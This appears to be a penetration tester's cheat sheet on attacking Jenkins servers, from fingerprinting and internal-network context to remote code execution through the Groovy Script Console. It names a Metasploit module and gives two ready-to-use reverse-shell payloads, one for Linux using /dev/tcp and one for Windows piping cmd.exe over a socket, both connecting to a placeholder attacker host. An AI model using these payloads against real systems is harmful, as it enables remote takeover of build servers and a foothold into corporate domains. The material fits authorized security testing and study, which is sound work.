Jenkins

Introduction

• Jenkins is a continuous integration server.

• Jenkins runs on Tomcat port 8080 by default

• The default installation typically uses Jenkins’ database to store credentials and does not allow users to register an account.

• Jenkins if often inside internal networks

• Jenkins is often installed on Windows servers running as the SYSTEM account.

• If we can gain access via Jenkins and gain remote code execution as the SYSTEM account, we would have a foothold in Active Directory to begin enumeration of the domain environment.

• It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test

• We can fingerprint Jenkins quickly by the telltale login page.

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Jenkins Script Console RCE [Authenticated]

• After gaining access to a Jenkins application, you can navigate to the script console: http://jenkins.test.example:8000/script

• The script console allows us to run arbitrary Groovy scripts within the Jenkins controller runtime.

• This can be abused to run operating system commands on the underlying server.

Linux PoC Script:

• MSFConsole: use exploit/multi/http/jenkins_script_console

• Reverse shell:

  r = Runtime.getRuntime()
  p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/your-attacker-ip/your-nc-port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  p.waitFor()

Windows PoC Script:

• Reverse shell:

  String host="your-attacker-ip";
  int port=your-nc-port;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();